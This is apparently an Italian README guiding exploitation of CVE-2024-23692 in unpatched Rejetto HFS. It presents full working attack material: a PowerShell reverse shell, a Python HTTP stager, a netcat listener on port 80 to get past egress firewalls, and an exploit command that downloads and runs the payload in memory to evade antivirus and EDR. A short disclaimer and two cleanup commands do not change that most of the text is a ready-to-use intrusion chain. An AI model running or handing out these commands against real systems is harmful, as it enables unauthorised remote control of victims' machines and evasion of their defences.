
Automatizza lo sfruttamento di CVE-2024-23692 contro Rejetto HFS non patchato con una reverse shell PowerShell in memoria, staging del payload tramite HTTP ed evasione della scrittura su disco per AV/EDR, per engagement red-team autorizzati.
Una documentazione tattica e una guida all'exploit per CVE-2024-23692, una vulnerabilità critica di Remote Code Execution (RCE) non autenticata che interessa le versioni di Rejetto HTTP File Server (HFS) precedenti alla 2.3m. Questa guida sfrutta una tecnica di In-Memory Reverse Shell (solo RAM) per eludere con successo i rilevamenti basati su firma di Antivirus/EDR che operano su scrittura su disco.
Disclaimer: Questo repository e i suoi contenuti sono destinati esclusivamente ad assessment di sicurezza autorizzati, attività di penetration testing, simulazioni di bug bounty e auditing forense difensivo. L'utilizzo non autorizzato contro ambienti di terze parti è severamente illegale.
Il template di verifica automatizzata implementato in questo flusso di proof-of-concept si basa sul repository pubblico sviluppato da:
Questo metodo incorpora un modello di deployment di uno stager HTTP per consegnare dinamicamente una stringa di payload testuale nell'ambiente target, invocando l'esecuzione live direttamente dalla memoria volatile di sistema (RAM).
Sul tuo server C2/attaccante locale, crea un file di testo statico chiamato index.html e popolalo con il seguente codice core PowerShell di loop TCP Socket:
\$c = New-Object System.Net.Sockets.TCPClient('<LHOST>',80);\$s = \$c.GetStream();[byte[]]\$b = 0..65535|%{0};while((\$i = \$s.Read(\$b, 0, \$b.Length)) -ne 0){;\$d = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$b,0, \$i);\$sb = (iex \$d 2>&1 | Out-String );\$sb2 = \$sb + 'PS ' + (pwd).Path + '> ';\$sbt = ([text.encoding]::ASCII).GetBytes(\$sb2);\$s.Write(\$sbt,0,\$sbt.Length);\$s.Flush()};\$c.Close()
Apri un'istanza del terminale all'interno della cartella di staging designata contenente il file template del payload, quindi avvia un listener HTTP Python istantaneo su una porta alternativa (ad es., 8080):
python3 -m http.server 8080
Apri una seconda sessione di terminale indipendente per ospitare il callback persistente della shell in arrivo. Si raccomanda vivamente di sfruttare la porta 80 (o 443) per aggirare facilmente le misure di protezione perimetrale in uscita (Egress Firewall Filtering):
sudo nc -lvnp 80
Lancia il motore di validazione automatizzato puntando alla tua infrastruttura di deployment. La chiamata target aggancia il parsing dei comandi tramite un wrapper di esecuzione CMD localizzato per mantenere una stabilità ottimale delle stringhe senza perdere flag dei parametri:
./CVE-2024-23692.sh http://<TARGET_IP>:<PORT> "cmd /c powershell -nop -w hidden -c \"IEX (New-Object Net.WebClient).DownloadString('http://<LHOST>')\""

Per eliminare completamente le compromissioni e porre rimedio agli ambienti operativi vulnerabili:
Get-Process -Name *hfs* | Stop-Process -Force
Remove-Item -Path "C:\Users\Public\*.exe" -Force -ErrorAction SilentlyContinue